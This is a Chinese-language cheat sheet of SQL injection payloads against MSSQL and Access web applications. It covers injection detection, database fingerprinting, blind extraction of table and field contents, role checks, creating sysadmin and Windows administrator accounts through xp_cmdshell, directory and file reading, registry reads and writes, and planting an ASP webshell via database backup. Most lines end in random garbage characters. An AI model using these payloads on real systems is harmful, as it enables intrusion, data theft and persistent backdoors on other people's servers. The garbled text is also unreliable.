1.判断是否有注入;and 1=1 ;and 1=2 .ErR-p=-
2.初步判断是否是mssql ;and user>0 Nj;(QhYZ
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3.注入参数是字符'and [查询条件] and ''=' *{fZA;<R
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' @
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5.判断数据库系统 kaZcYuT.9
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;and (select count(*) from sysobjects)>0 mssql Dmtsu2o
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;and (select count(*) from msysobjects)>0 access ZA4sEVHW
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ]xJ2;{JWsO
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 K>+c2;t;
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 }g.)%Bw!
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9.(1)猜字段的ascii值(access) cMUmJH
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 %yy|B
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(2)猜字段的ascii值(mssql) w="
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
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10.测试权限结构(mssql) =sXk,I;
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- S#D6mg$Z,
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- M-f; ,>
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- }!vJ+
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- !uHVg(}
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 6[%4Q[
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- vP&JL~
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;and 1=(select IS_MEMBER('db_owner'));-- ]+78
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11.添加mssql和系统的帐户 XCZNvLG
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;exec master.dbo.sp_addlogin username;-- v+2t;PJd2
;exec master.dbo.sp_password null,username,password;-- 7gbu7"Qc
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 7NfA)$
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;exec master.dbo.xp_cmdshell 'net user username password 8DJoQl9
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- v+`gQXJ"G
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- zC\L-i>G
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 4T:@W C
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12.(1)遍历目录 dX~$#-Ad86
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;create table dirs(paths varchar(100), id int) q vGkTE
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;insert dirs exec master.dbo.xp_dirtree 'c:\' QPpC_pZh
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;and (select top 1 paths from dirs)>0 4Q(GX.5
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) D~JrO]mi
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(2)遍历目录 iwnFCZVS
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- .~dNzonq
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 6{PlclI !
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 EAXbbcV
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 =?gB@vS
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 >hmBV7nR
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13.mssql中的存储过程 DF!*S{)
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xp_regenumvalues 注册表根键, 子键 <mdHca
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Rz9IjL.Z
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xp_regread 根键,子键,键值名 wm/=]*jpK
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;exec xp_regread 1x~dsM;q
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 z8\z`#g!
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xp_regwrite 根键,子键, 值名, 值类型, 值 3=~0m
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 *Z,?VEO
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 \_J;i[
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xp_regdeletevalue 根键,子键,值名 ~*Kk+w9H<
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ^6(Nu|6\@
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 (W4H?u@X0
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14.mssql的backup创建webshell 2Ub!wee
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use model !O}^ Y
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create table cmd(str image); V 0M&D,
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insert into cmd(str) values (''); aBonq]W
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backup database model to disk='c:\l.asp'; r0fxEYze&
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15.mssql内置函数 K{WLo5HP
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;and (select @@version)>0 获得Windows的版本号 yhSbX4Q
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